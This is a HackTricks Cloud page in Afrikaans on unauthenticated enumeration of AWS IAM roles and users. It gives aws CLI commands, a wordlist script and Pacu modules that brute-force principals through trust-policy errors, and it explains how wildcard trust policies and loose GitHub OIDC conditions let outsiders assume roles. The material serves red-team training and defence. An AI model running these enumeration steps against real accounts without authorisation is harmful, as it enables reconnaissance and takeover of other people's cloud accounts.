AWS - IAM & STS Unauthenticated Enum
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Lys rolle en gebruikersname in ’n rekening
Assume Role Brute-Force
Caution
Hierdie tegniek werk nie meer nie aangesien jy, ongeag of die rol bestaan of nie, altyd hierdie fout kry:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdasJy kan dit toets deur dit te laat loop:
aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example
Attempting to assume a role without the necessary permissions sal ’n AWS-foutboodskap veroorsaak. Byvoorbeeld, as jy nie gemagtig is nie, kan AWS die volgende teruggee:
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
Hierdie boodskap bevestig die bestaan van die rol, maar dui aan dat die assume role policy nie toelaat dat jy die rol aanneem nie. In teenstelling hiermee, om ’n nie-bestaande rol aan te neem lei tot ’n ander fout:
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
Interessant genoeg is hierdie metode om te onderskei tussen bestaande en nie-bestaande roles selfs toepaslik oor verskillende AWS-accounts. Met ’n geldige AWS account ID en ’n geteikende woordlys kan ’n mens die roles in die account enumereer sonder enige inherente beperkings.
Jy kan hierdie script to enumerate potential principals misbruik om hierdie kwessie uit te buit.
Trust Policies: Brute-Force Cross Account roles and users
Om ’n IAM role se trust policy te konfigureer of op te dateer behels die definisie watter AWS resources of services toegelaat word om daardie role aan te neem en tydelike credentials te verkry. As die gespesifiseerde resource in die policy bestaan, stoor die trust policy suksesvol. Indien die resource nie bestaan nie, word ’n fout gegenereer wat aandui dat ’n ongeldige principal verskaf is.
Warning
Neem kennis dat jy in daardie resource ’n cross account role of user kan spesifiseer:
arn:aws:iam::acc_id:role/role_namearn:aws:iam::acc_id:user/user_name
Hier is ’n policy voorbeeld:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::216825089941:role/Test"
},
"Action": "sts:AssumeRole"
}
]
}
GUI
Dit is die fout wat jy sal vind as jy ’n role that doesn’t exist gebruik. As die role exist, sal die policy saved word sonder enige foute. (Die fout is vir update, maar dit werk ook wanneer creating)
.png)
CLI
### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}
# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
Jy kan hierdie proses outomatiseer met https://github.com/carlospolop/aws_tools
bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt
Of met behulp van Pacu:
run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txtrun iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt- Die
adminrole wat in die voorbeeld gebruik word, is ’n role in jou rekening wat deur pacu geïmpersonifieer word om die policies te skep wat dit benodig vir die enumerasie
Privesc
In die geval die role sleg gekonfigureer is en enigeen toelaat om dit te assume:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
Die aanvaller kan dit net assume.
Derdepartye OIDC-federasie
Stel jou voor dat jy dit regkry om ’n Github Actions workflow te lees wat toegang tot ’n role binne AWS het.
Hierdie vertrouensverhouding kan toegang gee tot ’n role met die volgende trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
Hierdie trust policy mag korrek wees, maar die gebrek aan meer voorwaardes behoort jou agterdogtig te maak.\
Dit is omdat die vorige rol aangeneem kan word deur ENIGEEN van Github Actions! Jy moet in die conditions ook ander dinge spesifiseer soos org-naam, repo-naam, env, tak…
Nog ’n potensiële misconfiguratie is om ’n voorwaarde by te voeg soos die volgende:
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
Let op dat wildcard (*) voor die dubbele punt (:) staan. Jy kan ’n org skep soos org_name1 en assume the role vanaf ’n Github Action uitvoer.
Verwysings
- https://www.youtube.com/watch?v=8ZXRw4Ry3mQ
- https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

